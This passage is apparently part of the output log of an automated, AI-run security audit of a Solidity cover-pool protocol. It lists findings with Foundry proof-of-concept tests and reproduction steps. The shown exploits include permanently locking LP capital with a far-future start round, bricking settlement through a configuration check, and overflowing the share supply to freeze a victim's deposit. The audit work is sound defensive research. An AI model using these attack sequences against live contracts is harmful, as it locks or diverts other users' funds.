frontier;\n    uint16 public maxRoundsPerBatch = 16;\n    RoundCheckpoint[] private _records;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 value) external {\n        frontier = value;\n    }\n\n    function setMaxRoundsPerBatch(uint16 value) external {\n        maxRoundsPerBatch = value;\n    }\n\n    function record(uint64 roundId, uint64 work) external {\n        LedgerPosition memory last = _positionAt(type(uint64).max);\n        _records.push(\n            RoundCheckpoint(\n                roundId,\n                last.cumulativeWork + work,\n                last.cumulativeBlockUnits + uint96(work) * 1e9,\n                10_875,\n                keccak256(abi.encode(roundId, work))\n            )\n        );\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory result) {\n        result.genesisTimestamp = genesis;\n        result.roundDuration = 600;\n        result.maxWorkPerRound = 10_000;\n        result.maxRoundsPerBatch = maxRoundsPerBatch;\n        result.initialWorkPerThousandBlocks = 10_875;\n        result.targetBlocksPerActiveRound = 40;\n        result.difficultySmoothingRounds = 30;\n        result.blockUnitsPerBlock = 1e9;\n    }\n\n    function state() external view returns (CoreState memory result) {\n        LedgerPosition memory position = _positionAt(frontier);\n        result.settledThroughRound = frontier;\n        result.cumulativeWork = position.cumulativeWork;\n        result.cumulativeBlockUnits = position.cumulativeBlockUnits;\n        result.workPerThousandBlocks = position.workPerThousandBlocks;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)\n        external\n        view\n        returns (RoundPage memory result)\n    {\n        require(afterRound <= throughRound && throughRound <= frontier, \"core: bounds\");\n        require(maxRecords <= maxRoundsPerBatch, \"core: batch\");\n        result.start = _positionAt(afterRound);\n        result.certifiedThroughRound = throughRound;\n        RoundCheckpoint[] memory records = new RoundCheckpoint[](maxRecords);\n        uint256 count;\n        for (uint256 i; i < _records.length; ++i) {\n            RoundCheckpoint memory checkpoint = _records[i];\n            if (checkpoint.roundId <= afterRound) continue;\n            if (checkpoint.roundId > throughRound) break;\n            if (count == maxRecords) {\n                result.certifiedThroughRound = checkpoint.roundId - 1;\n                break;\n            }\n            records[count++] = checkpoint;\n        }\n        assembly (\"memory-safe\") {\n            mstore(records, count)\n        }\n        result.rounds = records;\n        result.end = _positionAt(result.certifiedThroughRound);\n    }\n\n    function _positionAt(uint64 round) private view returns (LedgerPosition memory result) {\n        result.workPerThousandBlocks = 10_875;\n        for (uint256 i = _records.length; i != 0; --i) {\n            RoundCheckpoint memory checkpoint = _records[i - 1];\n            if (checkpoint.roundId <= round) {\n                return LedgerPosition(\n                    checkpoint.cumulativeWork, checkpoint.cumulativeBlockUnits, checkpoint.workPerThousandBlocks\n                );\n            }\n        }\n    }\n}\n\nabstract contract EconBase is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    uint64 internal constant START = 102;\n    address internal owner = makeAddr(\"owner\");\n    address internal lp = makeAddr(\"lp\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n    EconCore internal core;\n\n    function setUp() public virtual {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        core = new EconCore(GENESIS);\n        core.setFrontier(100);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        uint16[4] memory durations = [uint16(6), 12, 24, 144];\n        uint16[3] memory thresholds = [uint16(3000), 5000, 7000];\n        for (uint256 i; i < 4; ++i) {\n            for (uint256 j; j < 3; ++j) {\n                model.setRate(durations[i], thresholds[j], 500, 1000);\n            }\n        }\n        token.mint(lp, 100_000 ether);\n        token.mint(alice, 100_000 ether);\n        token.mint(bob, 100_000 ether);\n        vm.stopPrank();\n        _deposit(lp, 1000 ether);\n    }\n\n    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {\n        vm.startPrank(who);\n        token.approve(address(pool), amount);\n        shares = pool.deposit(amount, 1);\n        vm.stopPrank();\n    }\n\n    function _open(address buyer, uint64 start, uint16 rounds, uint16 threshold, uint256 cover)\n        internal\n        returns (uint256 id, uint256 premium)\n    {\n        (premium,) = book.quote(start, rounds, threshold, cover);\n        vm.startPrank(buyer);\n        token.approve(address(book), premium);\n        id = book.openPolicy(start, rounds, threshold, cover, premium, block.timestamp);\n        vm.stopPrank();\n    }\n\n    function _certify(uint64 end) internal {\n        core.setFrontier(end);\n        uint256 endTime = uint256(GENESIS) + uint256(end) * 600;\n        if (endTime > block.timestamp) vm.warp(endTime);\n    }\n}\n\n/// Fails now: a start round in the unreachable future is accepted and reserves the pool forever.\ncontract ProofFarFutureLock is EconBase {\n    function test_rejectsStartBeyondReasonableHorizon() public {\n        uint64 farStart = type(uint64).max - 10;\n        (uint256 premium,) = book.quote(farStart, 6, 5000, 1000 ether);\n        vm.startPrank(alice);\n        token.approve(address(book), premium);\n        vm.expectRevert();\n        book.openPolicy(farStart, 6, 5000, 1000 ether, premium, block.timestamp);\n        vm.stopPrank();\n        assertEq(pool.reserved(), 0);\n    }\n}","reproduction":"State: lp deposited 1000e18; rates 500/1000 bps. alice calls book.openPolicy(type(uint64).max-10, 6, 5000, 1000e18, 150e18, deadline): succeeds, premium 150e18, reserved 1000e18. lp calls pool.redeem(allShares,1): reverts InsufficientFreeAssets; only 150e18 is ever redeemable. After vm.warp(+100 years) and the core frontier advancing accordingly, book.settle(id) still reverts (UnknownRounds), reserved stays 1000e18. Expected: a start that can never be certified within any operational horizon is rejected, or LP capital cannot be locked indefinitely for a flat fee. Reproduced by test/scratch/ProofFarFutureLock.t.sol (fails on current code because the far-future open succeeds).","severity":"medium","snippet":"        if (startRound <= frontier || startRound <= currentRound) {","title":"No upper bound on startRound: a buyer can reserve the whole pool until round 2^64 for one flat premium, locking LP capital permanently"},{"citation":"resolved","description":"Every settle() and quote() goes through snapshot(), which reverts InvalidConfiguration unless configuration().maxRoundsPerBatch equals PAGE_SIZE (16). The published Core docs describe maxRoundsPerBatch as the settlement batch size (0-16 active rounds, BatchTooLarge above it) and specify roundPage's maxRecords range separately; the reader never passes maxRoundsPerBatch to roundPage and always requests 16. If Core governance raises the batch limit (a plausible, non-breaking parameter change), the reader fails closed although roundPage(cursor,end,16) keeps returning valid pages. All open reservations become permanently unresolvable, LPs lose access to reserved capital and holders to their cover, and there is no admin recovery by design. Economic Security: break dependencies to permanently block claims. The version and roundDuration checks are deliberate fail-closed choices, but this equality is stricter than its purpose; a `>= PAGE_SIZE` check (or requesting min(PAGE_SIZE, maxRoundsPerBatch)) keeps the intent without the brick.","line":38,"path":"src/CoreReader.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core fixture: sparse active records, settable frontier and batch limit.\ncontract EconCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public frontier;\n    uint16 public maxRoundsPerBatch = 16;\n    RoundCheckpoint[] private _records;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 value) external {\n        frontier = value;\n    }\n\n    function setMaxRoundsPerBatch(uint16 value) external {\n        maxRoundsPerBatch = value;\n    }\n\n    function record(uint64 roundId, uint64 work) external {\n        LedgerPosition memory last = _positionAt(type(uint64).max);\n        _records.push(\n            RoundCheckpoint(\n                roundId,\n                last.cumulativeWork + work,\n                last.cumulativeBlockUnits + uint96(work) * 1e9,\n                10_875,\n                keccak256(abi.encode(roundId, work))\n            )\n        );\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory result) {\n        result.genesisTimestamp = genesis;\n        result.roundDuration = 600;\n        result.maxWorkPerRound = 10_000;\n        result.maxRoundsPerBatch = maxRoundsPerBatch;\n        result.initialWorkPerThousandBlocks = 10_875;\n        result.targetBlocksPerActiveRound = 40;\n        result.difficultySmoothingRounds = 30;\n        result.blockUnitsPerBlock = 1e9;\n    }\n\n    function state() external view returns (CoreState memory result) {\n        LedgerPosition memory position = _positionAt(frontier);\n        result.settledThroughRound = frontier;\n        result.cumulativeWork = position.cumulativeWork;\n        result.cumulativeBlockUnits = position.cumulativeBlockUnits;\n        result.workPerThousandBlocks = position.workPerThousandBlocks;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)\n        external\n        view\n        returns (RoundPage memory result)\n    {\n        require(afterRound <= throughRound && throughRound <= frontier, \"core: bounds\");\n        require(maxRecords <= maxRoundsPerBatch, \"core: batch\");\n        result.start = _positionAt(afterRound);\n        result.certifiedThroughRound = throughRound;\n        RoundCheckpoint[] memory records = new RoundCheckpoint[](maxRecords);\n        uint256 count;\n        for (uint256 i; i < _records.length; ++i) {\n            RoundCheckpoint memory checkpoint = _records[i];\n            if (checkpoint.roundId <= afterRound) continue;\n            if (checkpoint.roundId > throughRound) break;\n            if (count == maxRecords) {\n                result.certifiedThroughRound = checkpoint.roundId - 1;\n                break;\n            }\n            records[count++] = checkpoint;\n        }\n        assembly (\"memory-safe\") {\n            mstore(records, count)\n        }\n        result.rounds = records;\n        result.end = _positionAt(result.certifiedThroughRound);\n    }\n\n    function _positionAt(uint64 round) private view returns (LedgerPosition memory result) {\n        result.workPerThousandBlocks = 10_875;\n        for (uint256 i = _records.length; i != 0; --i) {\n            RoundCheckpoint memory checkpoint = _records[i - 1];\n            if (checkpoint.roundId <= round) {\n                return LedgerPosition(\n                    checkpoint.cumulativeWork, checkpoint.cumulativeBlockUnits, checkpoint.workPerThousandBlocks\n                );\n            }\n        }\n    }\n}\n\nabstract contract EconBase is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    uint64 internal constant START = 102;\n    address internal owner = makeAddr(\"owner\");\n    address internal lp = makeAddr(\"lp\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n    EconCore internal core;\n\n    function setUp() public virtual {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        core = new EconCore(GENESIS);\n        core.setFrontier(100);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        uint16[4] memory durations = [uint16(6), 12, 24, 144];\n        uint16[3] memory thresholds = [uint16(3000), 5000, 7000];\n        for (uint256 i; i < 4; ++i) {\n            for (uint256 j; j < 3; ++j) {\n                model.setRate(durations[i], thresholds[j], 500, 1000);\n            }\n        }\n        token.mint(lp, 100_000 ether);\n        token.mint(alice, 100_000 ether);\n        token.mint(bob, 100_000 ether);\n        vm.stopPrank();\n        _deposit(lp, 1000 ether);\n    }\n\n    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {\n        vm.startPrank(who);\n        token.approve(address(pool), amount);\n        shares = pool.deposit(amount, 1);\n        vm.stopPrank();\n    }\n\n    function _open(address buyer, uint64 start, uint16 rounds, uint16 threshold, uint256 cover)\n        internal\n        returns (uint256 id, uint256 premium)\n    {\n        (premium,) = book.quote(start, rounds, threshold, cover);\n        vm.startPrank(buyer);\n        token.approve(address(book), premium);\n        id = book.openPolicy(start, rounds, threshold, cover, premium, block.timestamp);\n        vm.stopPrank();\n    }\n\n    function _certify(uint64 end) internal {\n        core.setFrontier(end);\n        uint256 endTime = uint256(GENESIS) + uint256(end) * 600;\n        if (endTime > block.timestamp) vm.warp(endTime);\n    }\n}\n\n/// Fails now: raising Core's maxRoundsPerBatch above 16 makes every settlement revert\n/// although 16-record pages are still served.\ncontract ProofBatchLimitBrick is EconBase {\n    function test_settlementSurvivesRaisedBatchLimit() public {\n        (uint256 id,) = _open(alice, START, 6, 5000, 100 ether);\n        _certify(START + 5);\n        core.setMaxRoundsPerBatch(32);\n        ISqueekCore.RoundPage memory page = core.roundPage(START - 1, START + 5, 16);\n        assertEq(page.certifiedThroughRound, START + 5);\n        assertEq(book.settle(id), 100 ether);\n        assertEq(pool.reserved(), 0);\n    }\n}","reproduction":"State: lp deposited 1000e18; alice opened N=6,T=5000,cover=100e18 at START; core frontier certified through START+5 with no records. Core configuration() now reports maxRoundsPerBatch = 32 (all else unchanged, version still 3) and core.roundPage(START-1, START+5, 16) still returns certifiedThroughRound = START+5. book.settle(id) reverts CoreReader.InvalidConfiguration; book.quote(START+10,6,5000,1e18) also reverts InvalidConfiguration; pool.reserved() stays 100e18 forever. Expected: a larger batch limit that still serves 16-record pages should not stop settlement; settle(id) should pay 100e18 and release the reservation. Reproduced by test/scratch/ProofBatchLimitBrick.t.sol (fails on current code).","severity":"medium","snippet":"                || config.maxRoundsPerBatch != PAGE_SIZE","title":"snapshot() requires maxRoundsPerBatch == 16 exactly; a raised Core batch limit bricks every settlement and quote while 16-record pages still work"},{"citation":"resolved","description":"quote() applies slope * (reserved + cover) / assets to the entire cover amount. A buyer who splits the same cover into k policies pays each piece only its own marginal utilization, roughly halving the surcharge component (saving about slope*C^2/(2A)). Both routes leave the pool with identical reservations and identical risk, so the price is path-dependent and LPs systematically collect less than the model intends from any buyer who splits. Invariant guide: path divergence, multiple routes to the same outcome at different cost. Fix: integrate the surcharge over [reserved, reserved+cover] (average utilization), i.e. slope*(2*reserved+cover)/(2*assets), or price each atom at its marginal utilization.","line":48,"path":"src/PremiumModel.sol","reproduction":"State: lp deposited 1000e18, reserved 0, rates 500/1000 bps. book.quote(START,6,5000,1000e18) returns 150e18 (rate 500+1000). Instead alice opens ten policies openPolicy(START,6,5000,100e18,...) in sequence: total premium paid 102.31e18 for the same 1000e18 reserved. Expected: equal cover and equal pool exposure should cost the same regardless of how the purchase is split. Actual: 47.69e18 (31.8%) less premium reaches LPs.","severity":"low","snippet":"        rateBps = rate.baseBps + Math.mulDiv(reserved + cover, rate.slopeBps, assets, Math.Rounding.Ceil);","title":"Utilization surcharge is charged at final utilization on the whole amount, so splitting a purchase into pieces pays about 30% less premium for the same cover"},{"citation":"resolved","description":"When a payout drives _assets to 0 or 1 while totalShares stays large, the next deposit mints assets*(totalShares+1e6)/(_assets+1) shares, multiplying the share supply by roughly the deposit size in atoms (1e21 for 1000 tokens). Each further total loss and recapitalization repeats the multiplication. After the third cycle totalShares is about 1.6e68 and mulDiv's result for a 1000e18 deposit (about 1.6e89) exceeds 2^256, so deposit() reverts for any amount above roughly 1e8 atoms and the pool cannot be recapitalized. Invariant guide: abuse boundaries where the conversion degenerates. Low severity because it needs repeated 100% cover sales and payouts, which the design permits (cover up to free assets). Fix: cap the share multiplier on recapitalization (for example reset or rescale shares when _assets falls below a floor) or use a larger virtual asset offset.","line":93,"path":"src/CoverPool.sol","reproduction":"State: rates 500/1000 bps. Loop three times with LPs lp, alice, bob: LP deposits 1000e18 (lp already did); buyer opens N=6,T=5000 with cover = pool.freeAssets(); LP redeems shares worth exactly the premium; core certifies the window with no records; settle pays the full cover so totalAssets = 1. Observed totalShares after each loss: 8.7e26, 3.78e47, 1.64e68. Then lp approves and calls pool.deposit(1000e18, 1): reverts (Math.MathOverflowedMulDiv) because 1000e18 * 1.64e68 does not fit in uint256. Expected: a solvent empty pool accepts new deposits. Reproduced by test_repeatedTotalLossBricksDeposits in test/scratch/Econ.t.sol.","severity":"low","snippet":"        return Math.mulDiv(assets, totalShares + VIRTUAL_SHARES, _assets + 1);","title":"Share count multiplies by the deposit size after each total loss; after three total losses previewDeposit overflows and new deposits revert"}],"hash":"0865e7e0eca9b3239f3d83b4748bec543fddd287e2dc5caf12ddd6b9b44ccdac","nodeId":"53c3d9bc-2fda-4652-bbbd-ee481585b5e3","outcome":"completed","summary":"The review is complete. The findings file is written at the repository root, and no project file was changed. The scratch directory is gitignored, as required.\n\n**Outcome.** Build and all 64 existing tests pass. The accounting core holds: `reserved` equals the sum of open cover, payouts never exceed reserves, donations do not move the share price, and the payout rule matches the brief. The economic defects are in how value moves between LPs and buyers around that correct accounting. I substantiated six findings, four with self-contained Foundry proofs that fail on the current code.\n\n**Findings, by severity**\n\n- **Medium, JIT premium capture.** Premiums are credited to pool equity the instant a policy is sold and an LP may exit in the same block. A depositor who sandwiches a purchase takes a share of the premium with no risk, and their deposit also lowers the utilization price the buyer pays. In the reproduction the sandwicher deposits 9000, leaves with 9024.75, and the remaining LP carries the whole reservation for 2.75 instead of 50.\n- **Medium, informed exit before a certain loss.** The payout can be decided by certified rounds long before the frontier reaches the end round, and settlement is blocked until then. An LP who redeems in that window leaves at the pre-loss price. In the reproduction two equal LPs fund a 1000 cover; one exits with 1050 and the other is left with 50.\n- **Medium, unbounded start horizon.** A start round near 2^64 is accepted at the same flat premium as next round, reserving the pool forever with no settlement or release path. Cost to freeze the whole pool permanently was 15% of it at the test rates.\n- **Medium, over-strict Core configuration check.** The reader requires `maxRoundsPerBatch` to equal 16 exactly, although it never uses that value and the docs tie it to settlement batches, not pages. Raising the limit bricks every settlement and quote while 16-record pages still work, locking all reserved funds permanently.\n- **Low, path-dependent pricing.** Charging the final utilization on the whole cover means a split purchase pays about 32% less for identical pool exposure.\n- **Low, share-count blow-up.** After three total losses the share supply grows past the point where any meaningful deposit overflows, so the pool cannot be recapitalized.\n\n**Coverage.** All 21 listed entry points have a row, plus four invariant rows. Five entry points carry findings; the rest hold. The one thing I could not reach is live Core page-boundary behaviour beyond the pinned snapshot evidence. Round indexing was confirmed against the published SqueekCore docs and matches the reader.\n\nThe first three findings are documented as known limitations in the project's threat notes, so the author may treat them as accepted design. I reported them because each has a concrete, cheap extraction path and the brief does not specify the loss-sharing or horizon semantics, which leaves the decision to the judge.","treeHash":null,"usage":{"cachedInputTokens":1110448,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":38591,"runtime":"claude","turns":36,"wallClockMs":661650}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"62491201fe455e89","findings":[],"hash":"168505ca18e703201d7becd81e6fc700b020b78cae41dce8dc84a174e4a93c40","nodeId":"b943eb87-36a3-4a61-8171-02cce4339093","outcome":"failed","summary":"Claude Code can't use your Claude subscription, usually because a payment is past due · Pay or renew at https://claude.ai/… (if you just paid, try again shortly), or use an Anthropic API key instead","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":1,"wallClockMs":1368}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fa4b91aed45c94fa","findings":[{"citation":"resolved","description":"deposit() bounds only totalShares itself (checked add at line 107) but previewDeposit/previewRedeem (lines 93 and 97) compute totalShares + VIRTUAL_SHARES, which is not bounded. After complete covered losses the surviving worthless shares make the share supply enormous while _assets is 0; an unprivileged LP who is first in the pool can run three ordinary deposit/cover/payout cycles at zero net cost, burn shares down to exactly 2**m - VIRTUAL_SHARES, and then, after a victim deposits, top the pool up so that totalShares becomes 2**256 - VIRTUAL_SHARES. That deposit succeeds, and from then on every previewRedeem and previewDeposit panics with overflow 0x11. The victim's tokens are locked forever: no owner path, no settlement and no redemption can reduce totalShares because redeem itself panics. The attacker locks less than the victim's deposit. Merged with the independent-tester finding; related to but distinct from finding 3 (recapitalization overflow), since a headroom check on totalShares + VIRTUAL_SHARES fixes this one and not that one.","line":107,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\ncontract CertifiedEmptyHistoryForShares is ISqueekCore {\n    uint64 public constant GENESIS = 1_700_000_000;\n    uint64 public frontier;\n\n    function certify(uint64 value) external {\n        frontier = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external pure returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = GENESIS;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(afterRound < throughRound && throughRound <= frontier);\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\ncontract ShareDenominatorProofTest is Test {\n    CertifiedEmptyHistoryForShares core;\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n\n    function test_otherLpCanRedeemAfterAdversarialShareGrowth() public {\n        vm.chainId(11_155_111);\n        core = new CertifiedEmptyHistoryForShares();\n        vm.warp(core.GENESIS());\n        address administrator = makeAddr(\"administrator\");\n        token = new MockSQK(administrator);\n        model = new PremiumModel(administrator);\n        pool = new CoverPool(administrator, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(administrator, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(administrator);\n        pool.setPolicyBook(address(book));\n        // A supported, constant 10% premium. The same user is LP and buyer.\n        model.setRate(6, 5000, 1000, 0);\n        token.transfer(address(this), 1100 ether);\n        vm.stopPrank();\n        // From here, the test is an ordinary LP/buyer with no administrative role.\n        token.approve(address(pool), type(uint256).max);\n        token.approve(address(book), type(uint256).max);\n        uint256 originalBalance = token.balanceOf(address(this));\n        for (uint64 cycle; cycle < 3; ++cycle) {\n            pool.deposit(1000 ether, 1);\n            (, uint64 current,) = reader.snapshot();\n            uint64 start = current + 1;\n            uint256 id = book.openPolicy(start, 6, 5000, 1000 ether, 100 ether, block.timestamp);\n            // Redeem exactly the free premium before the certified full payout.\n            uint256 shares = _sharesForAssets(100 ether);\n            assertEq(pool.redeem(shares, 100 ether), 100 ether);\n            uint64 end = start + 5;\n            core.certify(end);\n            vm.warp(uint256(core.GENESIS()) + uint256(end) * 600);\n            assertEq(book.settle(id), 1000 ether);\n            assertEq(pool.totalAssets(), 0);\n            assertEq(pool.reserved(), 0);\n            assertEq(token.balanceOf(address(this)), originalBalance);\n        }\n        // One atom allows a positive redemption that burns arbitrary worthless shares.\n        pool.deposit(1, 1);\n        uint256 retained = (uint256(1) << 196) - pool.VIRTUAL_SHARES();\n        assertEq(pool.redeem(pool.sharesOf(address(this)) - retained, 1), 1);\n        assertEq(pool.totalAssets(), 0);\n        assertEq(pool.totalShares() + pool.VIRTUAL_SHARES(), uint256(1) << 196);\n\n        address victim = makeAddr(\"innocent LP\");\n        token.transfer(victim, 1 ether);\n        vm.startPrank(victim);\n        token.approve(address(pool), 1 ether);\n        uint256 victimShares = pool.deposit(1 ether, 1);\n        vm.stopPrank();\n\n        // S + virtual = (A + 1) * 2**196. Top up A to 2**60 - 1.\n        // totalShares itself still fits: it becomes 2**256 - 1_000_000.\n        // A fixed implementation may reject this adversarial deposit; either way,\n        // the innocent LP must retain access to their fully liquid capital.\n        uint256 topUp = (uint256(1) << 60) - 1 - 1 ether;\n        (bool deposited,) = address(pool).call(abi.encodeCall(pool.deposit, (topUp, 1)));\n        if (deposited) assertEq(pool.totalAssets(), (uint256(1) << 60) - 1);\n        assertEq(pool.reserved(), 0);\n        assertGe(token.balanceOf(address(pool)), 1 ether);\n        vm.prank(victim);\n        assertEq(pool.redeem(victimShares, 1 ether), 1 ether);\n    }\n\n    function _sharesForAssets(uint256 assets) private view returns (uint256) {\n        uint256 low;\n        uint256 high = pool.sharesOf(address(this));\n        while (low < high) {\n            uint256 mid = low + (high - low) / 2;\n            if (pool.previewRedeem(mid) < assets) low = mid + 1;\n            else high = mid;\n        }\n        return low;\n    }\n}","reproduction":"Sepolia chain id; owner binds the five contracts and sets rate(6,5000)=base 1000 bps, slope 0; actor holds 1100e18 SQI and is both LP and buyer. Three times: deposit 1000e18; openPolicy(current+1,6,5000,1000e18,100e18); redeem the shares worth exactly the 100e18 premium; core certifies the six empty rounds; settle pays 1000e18 back to the actor. Each cycle ends with totalAssets=0, reserved=0, actor balance 1100e18, totalShares multiplied ~1e21. Then deposit(1,1) and redeem all but 2**196 - 1_000_000 shares (receives 1 atom): totalShares + VIRTUAL_SHARES == 2**196, totalAssets == 0. Victim deposits 1e18 (succeeds, shares = 1e18 * 2**196). Attacker deposits 2**60 - 1 - 1e18 = 152921504606846975 atoms: succeeds, totalShares == 2**256 - 1_000_000, reserved 0, pool balance > 1e18. Expected: victim.redeem(victimShares, 1e18) returns 1e18. Actual: panic 0x11 in previewRedeem (totalShares + VIRTUAL_SHARES overflows); every later deposit/redeem panics too. Run: forge test --match-path test/scratch/Proof_5354bb1ee912.t.sol (fails at the victim redeem, trace confirmed).","severity":"high","snippet":"        totalShares += shares;","title":"Reachable share-supply overflow permanently blocks every LP redemption and deposit"},{"citation":"resolved","description":"quote()/openPolicy() enforce only lower bounds on startRound. CoverTerms.endRound rejects only end > uint64 max, and PremiumModel.quote prices cover without any dependence on how far away the window is. A buyer can therefore pick startRound = 2**64 - 10 (about 3.5e14 years at 600 s/round) with cover = freeAssets(); lockCover reserves everything, redeem() is capped by freeAssets(), and settle() reverts UnknownRounds until the frontier reaches endRound, which never happens. There is no cancellation or timeout by design, so the lock is permanent. The attacker's cost is the premium (baseBps + slopeBps, 15% in the fixture, and whatever the owner configures), while LPs lose access to up to 100% of principal. THREATS.md records the unbounded horizon as a limitation, but a permanent unprivileged lock of LP capital for a flat fee is a defect, not a priced risk. Reported by the math, economics and permissions specialists; merged. Minimal fix that preserves the brief: reject startRound > currentRound + MAX_LEAD_ROUNDS in quote() (the horizon is the owner's product decision), optionally pricing lead time into the premium.","line":105,"path":"src/PolicyBook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3-shaped core: frontier 100, no active records, current round 101.\ncontract StubCore is ISqueekCore {\n    uint64 public immutable genesis;\n    uint64 public frontier = 100;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = genesis;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n        c.initialWorkPerThousandBlocks = 10_875;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64, uint64 throughRound, uint256) external pure returns (RoundPage memory p) {\n        p.certifiedThroughRound = throughRound;\n        p.start = LedgerPosition(0, 0, 10_875);\n        p.end = p.start;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\n/// @notice openPolicy accepts a start round that the core can never certify, so the whole free\n/// liquidity of the pool is reserved forever for one flat premium. A start-round lead cap makes\n/// this call revert and the test pass.\ncontract FarFutureLockTest is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    address internal owner = makeAddr(\"owner\");\n    address internal lp = makeAddr(\"lp\");\n    address internal attacker = makeAddr(\"attacker\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        StubCore core = new StubCore(GENESIS);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        model.setRate(144, 3000, 500, 1000);\n        token.mint(lp, 1000 ether);\n        token.mint(attacker, 1000 ether);\n        vm.stopPrank();\n        vm.startPrank(lp);\n        token.approve(address(pool), 1000 ether);\n        pool.deposit(1000 ether, 1);\n        vm.stopPrank();\n    }\n\n    function test_startRoundBeyondAnyReachableRoundIsRejected() public {\n        // Current round is 101 and the frontier is 100. This window ends at round 2^64-1,\n        // which at 600 s per round is ~3.5e14 years away: the reservation can never be released.\n        uint64 start = type(uint64).max - 143;\n        vm.startPrank(attacker);\n        token.approve(address(book), type(uint256).max);\n        vm.expectRevert();\n        book.openPolicy(start, 144, 3000, 1000 ether, type(uint256).max, block.timestamp);\n        vm.stopPrank();\n    }\n}","reproduction":"Fixture: chain 11155111, core genesis G, block.timestamp = G + 100*600 